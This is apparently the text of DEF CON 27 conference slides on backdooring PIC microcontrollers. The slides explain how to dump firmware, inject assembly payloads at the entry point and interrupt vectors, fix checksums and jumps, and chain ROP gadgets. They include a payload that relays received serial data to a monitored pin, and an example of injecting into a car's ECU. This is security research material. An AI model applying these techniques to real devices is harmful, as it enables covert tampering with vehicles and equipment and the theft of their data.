SlideShare a Scribd company logo
Backdooring hardware devices
by injecting malicious payloads
on microcontrollers_
By Sheila A. Berta (@UnaPibaGeek)
@UnaPibaGeek
WHO AM I?_
Sheila A. Berta (@UnaPibaGeek)
Offensive Security Researcher
@UnaPibaGeek
WHO AM I?_
Sheila A. Berta (@UnaPibaGeek)
Offensive Security Researcher
A little bit more:
- Developer in ASM (Microcontrollers & Microprocessors x86/x64), C/C++, Python and Go.
- Speaker at Black Hat (x2), DEF CON (x2), Ekoparty (x4), HITB, PhDays, IEEE… & more.
@UnaPibaGeek
@UnaPibaGeek
@UnaPibaGeek
MICROCONTROLLERS VS MICROPROCESSORS_
Microprocessors
Intel, AMD, ARM
…
Microcontrollers
Microchip, ATMEL, ST
…
@UnaPibaGeek
MICROPROCESSORS OVERVIEW_
• Microprocessors = CPU
• Memories and I/O busses are physically separated.
• Usually bigger than a microcontroller.
• Greater processing capacity.
• Modified-Harvard memory organization.
• 32 or 64 bits (most common).
@UnaPibaGeek
MICROCONTROLLERS OVERVIEW_
• Microcontrollers = CPU + RAM + ROM + I/O busses
• Smaller CPU with less processing capacity.
• Usually smaller size than microprocessors.
• Harvard memory organization.
• 16 bits (most common).
• A little stack.
@UnaPibaGeek
USE CASES_
!=
Raspberry PI
ARM Microprocessor
Arduino UNO
Atmega Microcontroller
@UnaPibaGeek
MICROCONTROLLERS EVOLUTION_
@UnaPibaGeek
MICROCONTROLLERS EVOLUTION_
@UnaPibaGeek
MICROCONTROLLERS EVOLUTION_
@UnaPibaGeek
MICROCONTROLLERS EVOLUTION_
@UnaPibaGeek
IS WORTH IT?_
• Physical Security Systems.
• Car’s ECU.
• Semaphores.
• Elevators.
• Sensors.
• Modules of Industrial systems.
• Home appliances.
• Robots.
• …
@UnaPibaGeek
MICROCONTROLLERS
PROGRAMMING_
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
ASM code to turning on a LED - (PIC)
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
ASM code to turning on a LED - (PIC)
MPLAB X IDE
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
ASM code to turning on a LED - (PIC)
MPLAB X IDE
.hex file (firmware)
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
Microchip (PIC) programmer software Microchip (PIC) programmer hardware
@UnaPibaGeek
PROGRAM MEMORY
DUMP_
@UnaPibaGeek
PIC MEMORY ORGANIZATION_
non-volatile non-volatilevolatile
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 1)_
Connection from PIC microcontroller to PICKIT 3
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 2)_
Using MPLAB X IDE to read (and dump) the program memory
1
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 2)_
Using MPLAB X IDE to read (and dump) the program memory
1
2
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 2)_
Using MPLAB X IDE to read (and dump) the program memory
1
2
3
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 2)_
Using MPLAB X IDE to read (and dump) the program memory
1
2
3
4
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 3)_
Load the .hex file in the MPLAB X IDE
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 3)_
Load the .hex file in the MPLAB X IDE
@UnaPibaGeek
CODE VS DISASSEMBLY (EXAMPLE)_
ASM source code Disassembly
@UnaPibaGeek
CODE VS DISASSEMBLY (EXAMPLE)_
OpCodes in the .hex dump
ASM source code Disassembly
@UnaPibaGeek
PAYLOAD INJECTION:
AT THE ENTRY POINT_
@UnaPibaGeek
PROGRAM STANDARD STRUCTURE (PIC)_
Reset Vector: always at 0x0000 memory address
Interrupt Vector: at 0x0008 and 0x0018 memory addresses
Program entry point
@UnaPibaGeek
LOCATING THE ENTRY POINT_
@UnaPibaGeek
LOCATING THE ENTRY POINT_
Entry point
Simple program example
@UnaPibaGeek
LOCATING THE ENTRY POINT_
Entry point
Simple program example
Large program example
@UnaPibaGeek
LOCATING THE ENTRY POINT_
Entry point
Simple program example
Large program example
Example 1 -- Entry point: 0x06
Example 2 -- Entry point: 0x7F84
Memory address to inject
Memory address to inject
@UnaPibaGeek
GENERATING THE PAYLOAD #1 (PoC)_
BCF TRISD,1 // Set PIN as output
BSF PORTD,1 // Turn ON a LED
BCF TRISD,2 // Set PIN as output
BSF PORTD,2 // Turn ON a LED
@UnaPibaGeek
GENERATING THE PAYLOAD #1 (PoC)_
BCF TRISD,1 // Set PIN as output
BSF PORTD,1 // Turn ON a LED
BCF TRISD,2 // Set PIN as output
BSF PORTD,2 // Turn ON a LED
@UnaPibaGeek
GENERATING THE PAYLOAD #1 (PoC)_
BCF TRISD,1 // Set PIN as output
BSF PORTD,1 // Turn ON a LED
BCF TRISD,2 // Set PIN as output
BSF PORTD,2 // Turn ON a LED
0x9295 = BCF TRISD,1
0x8283 = BSF PORTD,1
0x9495 = BCF TRISD,2
0x8483 = BSF PORTD,2
@UnaPibaGeek
GENERATING THE PAYLOAD #1 (PoC)_
BCF TRISD,1 // Set PIN as output
BSF PORTD,1 // Turn ON a LED
BCF TRISD,2 // Set PIN as output
BSF PORTD,2 // Turn ON a LED
0x9295 = BCF TRISD,1
0x8283 = BSF PORTD,1
0x9495 = BCF TRISD,2
0x8483 = BSF PORTD,2
Little Endian: 0x9592 0x8382 0x9594 0x8384
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28 Original program memory (.hex dump)
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28 Original program memory (.hex dump)
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28 Original program memory (.hex dump)
Entry point offset
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28 Original program memory (.hex dump)
Entry point offset
Checksum
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28 Original program memory (.hex dump)
Entry point offset
Checksum
Payload injected at entry point (0x28)
@UnaPibaGeek
CHECKSUM RECALCULATION_
Sum(bytes on the line) = Not +1 = checksum
@UnaPibaGeek
CHECKSUM RECALCULATION_
Sum(bytes on the line) = Not +1 = checksum
Example: :1000000003EF00F00000959E838E836A000E956E
@UnaPibaGeek
CHECKSUM RECALCULATION_
Sum(bytes on the line) = Not +1 = checksum
Example:
10+00+00+00+03+EF+00+F0+00+00+95+9E+83+8E+83+6A+00+0E+95+6E = 0x634
Not(0x634) +1 = 0xFFFF 0xFFFF 0xFFFF 0xF9CC
Checksum = 0xCC
:1000000003EF00F00000959E838E836A000E956E
@UnaPibaGeek
CHECKSUM RECALCULATION_
https://www.fischl.de/hex_checksum_calculator/
@UnaPibaGeek
CHECKSUM RECALCULATION_
https://www.fischl.de/hex_checksum_calculator/
Payload injected and checksum fixed
@UnaPibaGeek
WRITE THE PROGRAM MEMORY_
@UnaPibaGeek
BEFORE / AFTER (PoC)_
Original
@UnaPibaGeek
BEFORE / AFTER (PoC)_
Original Payload injected
@UnaPibaGeek
INJECTING TO A CAR’S ECU_
IGNITION
KEY
@UnaPibaGeek
INJECTING TO A CAR’S ECU_
IGNITION
KEY
Entry point: 0x152A
@UnaPibaGeek
INJECTING TO A CAR’S ECU_
IGNITION
KEY
Entry point: 0x152A
@UnaPibaGeek
ADVANCED
PAYLOAD INJECTION:
AT THE INTERRUPT VECTOR_
@UnaPibaGeek
PERIPHERALS AND INTERRUPTIONS_
• Internal timers
• A/D converters
• CCP (Capture/Compare/PWM)
• TX/RX busses
• Others
@UnaPibaGeek
PERIPHERALS AND INTERRUPTIONS_
• Internal timers
• A/D converters
• CCP (Capture/Compare/PWM)
• TX/RX busses
• Others
@UnaPibaGeek
GIE AND PEIE BITS_
@UnaPibaGeek
GIE AND PEIE BITS_
BSF INTCON, GIE // Set GIE to 1
BSF INTCON, PEIE // Set PEIE to 1
@UnaPibaGeek
GIE AND PEIE BITS_
BSF INTCON, GIE // Set GIE to 1
BSF INTCON, PEIE // Set PEIE to 1
Interruptions enabled
@UnaPibaGeek
INTERRUPTION FLAGS_
Timer0
Interruption Enabled
Timer0
Interruption Flag
@UnaPibaGeek
INTERRUPTION FLAGS_
Timer0
Interruption Enabled
Timer0
Interruption Flag
XXIE = Interruption Enabled
XXIF = Interruption Flag
@UnaPibaGeek
INTERRUPTION FLAGS_
Timer0
Interruption Enabled
Timer0
Interruption Flag
XXIE = Interruption Enabled
XXIF = Interruption Flag
Registers PIE1, PIE2 and PIE3 have interruption enabling bits
Registers PIR1, PIR2 and PIR3 have interruption flags bits
@UnaPibaGeek
POLLING INSPECTION_
@UnaPibaGeek
POLLING INSPECTION_
Interrupt vector
Polling
@UnaPibaGeek
POLLING INSPECTION_
PIR1, 5
@UnaPibaGeek
POLLING INSPECTION_
PIR1, 5
PIR1, 5 = PIR1, RCIF
@UnaPibaGeek
POLLING INSPECTION_
PIR1, 5
PIR1, 5 = PIR1, RCIF
Call to RC interruption routine
@UnaPibaGeek
MEMORY ADDRESSES TO INJECT A PAYLOAD_
0x48 to inject a payload at the RC interruption
0x4E to inject a payload at Timer0 interruption
0x56 to inject a payload at the AD interruption
0x5E to inject a payload at the INT0 interruption
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 1: locate where the RC interruption routine begins (by inspecting the polling)
Call to RC interruption routine
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 1: locate where the RC interruption routine begins (by inspecting the polling)
Call to RC interruption routine
0x48
RC interruption routine begins
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 2: Cook a payload that makes a relaying of the received data to a TX
peripheral which we are able to monitor externally (example)
MOVF RCREG, W // Move the received data to “W” register
BSF TXSTA, TXEN // Enable transmission
BCF TXSTA, SYNC // Set asynchronous operation
BSF RCSTA, SPEN // Set TX/CK pin as an output
MOVWF TXREG // Move received data (in W) to TXREG to be re-transmitted
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 2: Cook a payload that makes a relaying of the received data to a TX
peripheral which we are able to monitor externally (example)
MOVF RCREG, W // Move the received data to “W” register
BSF TXSTA, TXEN // Enable transmission
BCF TXSTA, SYNC // Set asynchronous operation
BSF RCSTA, SPEN // Set TX/CK pin as an output
MOVWF TXREG // Move received data (in W) to TXREG to be re-transmitted
0xAE50 0xAC8A 0xAC98 0xAB8E 0xAD6E
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 3: lnject the payload where the RC interruption routine begins
0x48
RC interruption routine begins
Backdoor
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 3: lnject the payload where the RC interruption routine begins
0x48
RC interruption routine begins
Backdoor
@UnaPibaGeek
FIXING JUMPS: FLOW CORRUPTION_
Original program Program after
payload injection
@UnaPibaGeek
FIXING JUMPS: GOTO AND CALL OPCODES_
GOTO opcode = 0xEF CALL opcode = 0xEC NOP opcode = 0xF0
@UnaPibaGeek
FIXING JUMPS: GOTO AND CALL OPCODES_
GOTO opcode = 0xEF CALL opcode = 0xEC NOP opcode = 0xF0
EF06 F000 = GOTO jumping to 0x0006 offset (0x000C memory address).
EC67 F004 = CALL jumping to 0x0467 offset (0x08CE memory address).
@UnaPibaGeek
FIXING JUMPS: GOTO AND CALL OPCODES_
GOTO opcode = 0xEF CALL opcode = 0xEC NOP opcode = 0xF0
EF06 F000 = GOTO jumping to 0x0006 offset (0x000C memory address).
EC67 F004 = CALL jumping to 0x0467 offset (0x08CE memory address).
Jump to 0x8CE (memory address) / 2 = 0x0467 offset
@UnaPibaGeek
FIXING JUMPS: RECALCULATION_
Payload injected at memory address: 0x48
Payload length: 10 bytes
@UnaPibaGeek
FIXING JUMPS: RECALCULATION_
Payload injected at memory address: 0x48
Payload length: 10 bytes
Example:
CALL 0x56 (EC2B F000)
CALL 0x60 (EC30 F000) Fixed jump
Original offset + payload length
Original jump
@UnaPibaGeek
FIXING JUMPS: RECALCULATION_
Payload injected at memory address: 0x48
Payload length: 10 bytes
Example:
CALL 0x56 (EC2B F000)
CALL 0x60 (EC30 F000) Fixed jump
Original offset + payload length
Original jump
Three CALL fixed after injection
@UnaPibaGeek
AUTOMATING PAYLOAD INJECTION_
https://github.com/UnaPibaGeek/UCPI
@UnaPibaGeek
STACK
PAYLOAD INJECTION:
CONTROLLING PROGRAM FLOW_
@UnaPibaGeek
STKPTR, TOSU, TOSH AND TOSL_
STKPTR = Stack Pointer register
TOSU, TOSH and TOSL = Top of Stack registers
@UnaPibaGeek
PROGRAM FLOW CONTROL_
INCF STKPTR,F // SP increment
MOVLW 0x00
MOVWF TOSU // TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH // TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL // TOSL = 0x72
RETURN
Jump to 0x000C72
@UnaPibaGeek
PROGRAM FLOW CONTROL_
INCF STKPTR,F // SP increment
MOVLW 0x00
MOVWF TOSU // TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH // TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL // TOSL = 0x72
RETURN
Jump to 0x000C72
SP Increment
TOS = 0x000024
Jump to 0x000024
@UnaPibaGeek
PROGRAM FLOW CONTROL_
INCF STKPTR,F // SP increment
MOVLW 0x00
MOVWF TOSU // TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH // TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL // TOSL = 0x72
RETURN
Jump to 0x000C72
SP Increment
TOS = 0x000024
Jump to 0x000024
@UnaPibaGeek
PROGRAM FLOW CONTROL_
INCF STKPTR,F // SP increment
MOVLW 0x00
MOVWF TOSU // TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH // TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL // TOSL = 0x72
RETURN
Jump to 0x000C72
SP Increment
TOS = 0x000024
Jump to 0x000024
@UnaPibaGeek
ROP-CHAIN_
ROP gadgets:
0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E
RET = 0x1200
(last)
(first)
@UnaPibaGeek
ROP-CHAIN_
ROP gadgets:
0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E
RET = 0x1200
(last)
(first)
Gadget example at 0x0040:
RETURN or RETLW
@UnaPibaGeek
ROP-CHAIN_
ROP gadgets:
0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E
RET = 0x1200
(last)
(first)
Gadget example at 0x0040:
RETURN or RETLW
@UnaPibaGeek
PROGRAM MEMORY
PROTECTIONS_
@UnaPibaGeek
CODE PROTECTION_
Microchip Config Directives
Program memory dump still works
@UnaPibaGeek
BOOT AND DATA PROTECTION_
Microchip Config Directives
Program memory dump doesn’t work
@UnaPibaGeek
CONCLUSIONS_
@UnaPibaGeek
SPECIAL THANKS_
Sol (@encodedwitch)
Nico Waisman (@nicowaisman)
Dreamlab Technologies
THANK YOU_
SHEILA A. BERTA (@UNAPIBAGEEK)

More Related Content

PDF
Advanced cfg bypass on adobe flash player 18 defcon russia 23
PDF
Linux+sensor+device-tree+shell=IoT !
PDF
Getting Started with Raspberry Pi - USC 2013
PDF
[嵌入式系統] MCS-51 實驗 - 使用 IAR (2)
PPT
Uart VHDL RTL design tutorial
PDF
SFO15-202: Towards Multi-Threaded Tiny Code Generator (TCG) in QEMU
PPTX
STM32 Microcontroller Clocks and RCC block
PPTX
Part-1 : Mastering microcontroller with embedded driver development
Advanced cfg bypass on adobe flash player 18 defcon russia 23
Linux+sensor+device-tree+shell=IoT !
Getting Started with Raspberry Pi - USC 2013
[嵌入式系統] MCS-51 實驗 - 使用 IAR (2)
Uart VHDL RTL design tutorial
SFO15-202: Towards Multi-Threaded Tiny Code Generator (TCG) in QEMU
STM32 Microcontroller Clocks and RCC block
Part-1 : Mastering microcontroller with embedded driver development

What's hot (20)

KEY
OpenBSD/sgi SMP implementation for Origin 350
PPTX
Mastering Microcontroller : TIMERS, PWM, CAN, RTC,LOW POWER
PDF
Embedded Recipes 2019 - Introduction to JTAG debugging
PPTX
“Automation Testing for Embedded Systems”
PPTX
“Linux Kernel CPU Hotplug in the Multicore System”
PDF
True stories on the analysis of network activity using Python
PPTX
QEMU - Binary Translation
PDF
LinuxCNC for Fun & Profit
PPTX
Part-2: Mastering microcontroller with embedded driver development
PPTX
Raspberry Pi I/O控制與感測器讀取
PDF
Zn task - defcon russia 20
PDF
Design and build a wireless transceiver using nrf24l01p single chip 2.4g hz
KEY
SMP Implementation for OpenBSD/sgi [Japanese Edition]
PDF
Microcontroller part 5
PPTX
用Raspberry Pi 學Linux I2C Driver
PDF
Project ACRN GPIO mediator introduction
PDF
Evaluation of OpenFlow in RB750GL
PPTX
RISC-V 30907 summit 2020 joint picocom_mentor
PPTX
Linux I2C
PPTX
Online test program generator for RISC-V processors
OpenBSD/sgi SMP implementation for Origin 350
Mastering Microcontroller : TIMERS, PWM, CAN, RTC,LOW POWER
Embedded Recipes 2019 - Introduction to JTAG debugging
“Automation Testing for Embedded Systems”
“Linux Kernel CPU Hotplug in the Multicore System”
True stories on the analysis of network activity using Python
QEMU - Binary Translation
LinuxCNC for Fun & Profit
Part-2: Mastering microcontroller with embedded driver development
Raspberry Pi I/O控制與感測器讀取
Zn task - defcon russia 20
Design and build a wireless transceiver using nrf24l01p single chip 2.4g hz
SMP Implementation for OpenBSD/sgi [Japanese Edition]
Microcontroller part 5
用Raspberry Pi 學Linux I2C Driver
Project ACRN GPIO mediator introduction
Evaluation of OpenFlow in RB750GL
RISC-V 30907 summit 2020 joint picocom_mentor
Linux I2C
Online test program generator for RISC-V processors
Ad

Similar to DEF CON 27- SHEILA A BERTA - backdooring hardware devices by injecting malicious payloads on microcontrollers (20)

PPT
8051 Microcontroller architecture and operation
PPTX
Unit 4 Introduction to Microcontrollers.pptxUnit-3 IO Interfacing-1.pptximpor...
PDF
Hardware hacking
PPTX
MICROCONTROLLER.pptx
PDF
DEF CON 27 - PHILIPPE LAULHERET - introduction to hardware hacking extended v...
PPTX
PPT
amba.ppt
PDF
microcontroller intel 8051 pin description
PDF
8051 Hardware Architecture, Addressing Modes, Interfacing
PDF
Pin Description of the 8051 along with I/O Interfacing
PDF
Introduction Architecture Addressing Modes
PDF
Instruction Set Architecture and Design of Hardware
PDF
8051 Architecture, System Bus, Advantages
PDF
Embedded_Systems_firstcourse_UniversitéToulouse.pdf
PDF
Basics and Working of 8051 Microprocontroller
PDF
Microprocessor Techniques and Computer Organisation
PDF
Working and Internals of 8051 Microcontroller
PDF
Microcontroller Basics and Architecture of 8051
PDF
Introduction to 8051 Microcontroller and its Architecture
PDF
Hardware Structures, Addressing Modes, Interrupt Control : 8051
8051 Microcontroller architecture and operation
Unit 4 Introduction to Microcontrollers.pptxUnit-3 IO Interfacing-1.pptximpor...
Hardware hacking
MICROCONTROLLER.pptx
DEF CON 27 - PHILIPPE LAULHERET - introduction to hardware hacking extended v...
amba.ppt
microcontroller intel 8051 pin description
8051 Hardware Architecture, Addressing Modes, Interfacing
Pin Description of the 8051 along with I/O Interfacing
Introduction Architecture Addressing Modes
Instruction Set Architecture and Design of Hardware
8051 Architecture, System Bus, Advantages
Embedded_Systems_firstcourse_UniversitéToulouse.pdf
Basics and Working of 8051 Microprocontroller
Microprocessor Techniques and Computer Organisation
Working and Internals of 8051 Microcontroller
Microcontroller Basics and Architecture of 8051
Introduction to 8051 Microcontroller and its Architecture
Hardware Structures, Addressing Modes, Interrupt Control : 8051
Ad

More from Felipe Prado (20)

PDF
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
PDF
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
PDF
DEF CON 24 - Tamas Szakaly - help i got ants
PDF
DEF CON 24 - Ladar Levison - compelled decryption
PDF
DEF CON 24 - Clarence Chio - machine duping 101
PDF
DEF CON 24 - Chris Rock - how to overthrow a government
PDF
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
PDF
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
PDF
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
PDF
DEF CON 24 - Gorenc Sands - hacker machine interface
PDF
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
PDF
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
PDF
DEF CON 24 - Rich Mogull - pragmatic cloud security
PDF
DEF CON 24 - Grant Bugher - Bypassing captive portals
PDF
DEF CON 24 - Patrick Wardle - 99 problems little snitch
PDF
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
PDF
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
PDF
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
PDF
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
PDF
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Antonio Joseph - fuzzing android devices

Recently uploaded (20)

PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
Machine learning based COVID-19 study performance prediction
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Encapsulation theory and applications.pdf
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PPTX
Spectroscopy.pptx food analysis technology
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PPTX
sap open course for s4hana steps from ECC to s4
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
DOCX
The AUB Centre for AI in Media Proposal.docx
PPT
Teaching material agriculture food technology
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Machine learning based COVID-19 study performance prediction
Chapter 3 Spatial Domain Image Processing.pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Encapsulation theory and applications.pdf
Dropbox Q2 2025 Financial Results & Investor Presentation
Reach Out and Touch Someone: Haptics and Empathic Computing
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Spectroscopy.pptx food analysis technology
Agricultural_Statistics_at_a_Glance_2022_0.pdf
sap open course for s4hana steps from ECC to s4
Building Integrated photovoltaic BIPV_UPV.pdf
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
The AUB Centre for AI in Media Proposal.docx
Teaching material agriculture food technology
NewMind AI Weekly Chronicles - August'25 Week I
Diabetes mellitus diagnosis method based random forest with bat algorithm
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
The Rise and Fall of 3GPP – Time for a Sabbatical?

DEF CON 27- SHEILA A BERTA - backdooring hardware devices by injecting malicious payloads on microcontrollers